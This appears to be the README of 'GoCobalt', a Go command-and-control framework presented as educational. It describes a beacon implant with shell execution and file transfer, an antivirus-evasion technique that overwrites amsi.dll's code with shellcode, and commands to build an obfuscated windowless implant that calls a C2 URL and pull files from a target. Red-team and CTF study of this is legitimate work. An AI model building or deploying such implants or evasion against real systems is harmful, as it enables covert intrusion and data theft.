GoCobalt

Purpose

GoCobalt is an educational C2 framework built to understand offensive security techniques. It’s designed for:

• CTF competitions requiring C2 infrastructure
• Authorized red team engagements
• Security research and malware analysis education
• Understanding detection/evasion dynamics

This is not production malware - it’s a learning tool.

Architecture

┌─────────────────────────────────────────────────────────────┐
│                      TEAM SERVER                             │
│  gRPC API │ Listeners │ Session Manager │ Task Queue        │
│  SQLite   │ Crypto    │ Payload Builder                     │
└─────────────────────────────────────────────────────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        ▼                   ▼                   ▼
   HTTP/HTTPS            DNS C2            SMB/TCP
   Listener              Listener          Listener
        └───────────────────┼───────────────────┘
                            ▼
                    ┌───────────────┐
                    │    IMPLANT    │
                    │   (Beacon)    │
                    └───────────────┘

Implant Capabilities

Built-in commands:

• shell - Execute system commands
• upload / download - File transfer
• ps - Process listing
• whoami - Current user context
• sysinfo - System information

Communication features:

• HTTP/HTTPS transport
• XOR + Base64 encrypted config
• Jittered sleep intervals
• Configurable C2 URIs

Evasion Techniques

Research into Windows Defender bypass:

Module Stomping

The most effective loader technique - loads a legitimate Microsoft DLL, overwrites its .text section with shellcode, then executes from trusted memory:

1. Load amsi.dll (signed Microsoft binary)
2. Mark .text section as RWX
3. Copy shellcode over original code
4. Execute from “legitimate” memory region

This bypasses signature-based detection because execution originates from a trusted module.

Building

# Team server
go build -o bin/teamserver ./cmd/teamserver

# Operator client
go build -o bin/client ./cmd/client

# Basic implant
GOOS=windows GOARCH=amd64 go build \
  -ldflags="-s -w -H windowsgui \
    -X main.C2URL=http://192.168.0.225:8080" \
  -o bin/beacon.exe ./cmd/implant

# Obfuscated implant (garble)
garble -literals -tiny -seed=random build \
  -ldflags="-s -w -H windowsgui" \
  -o bin/beacon-garble.exe ./cmd/implant

Usage

# Start team server
./bin/teamserver

# Connect operator client
./bin/client

# List active sessions
./bin/client sessions list

# Interact with a session
./bin/client interact <session-id>
> shell whoami
> sysinfo
> download C:\Users\target\Desktop\flag.txt

Disclaimer

This tool is for authorized security testing, red team operations, and educational purposes only. Users must ensure proper authorization before use against any systems.

Summary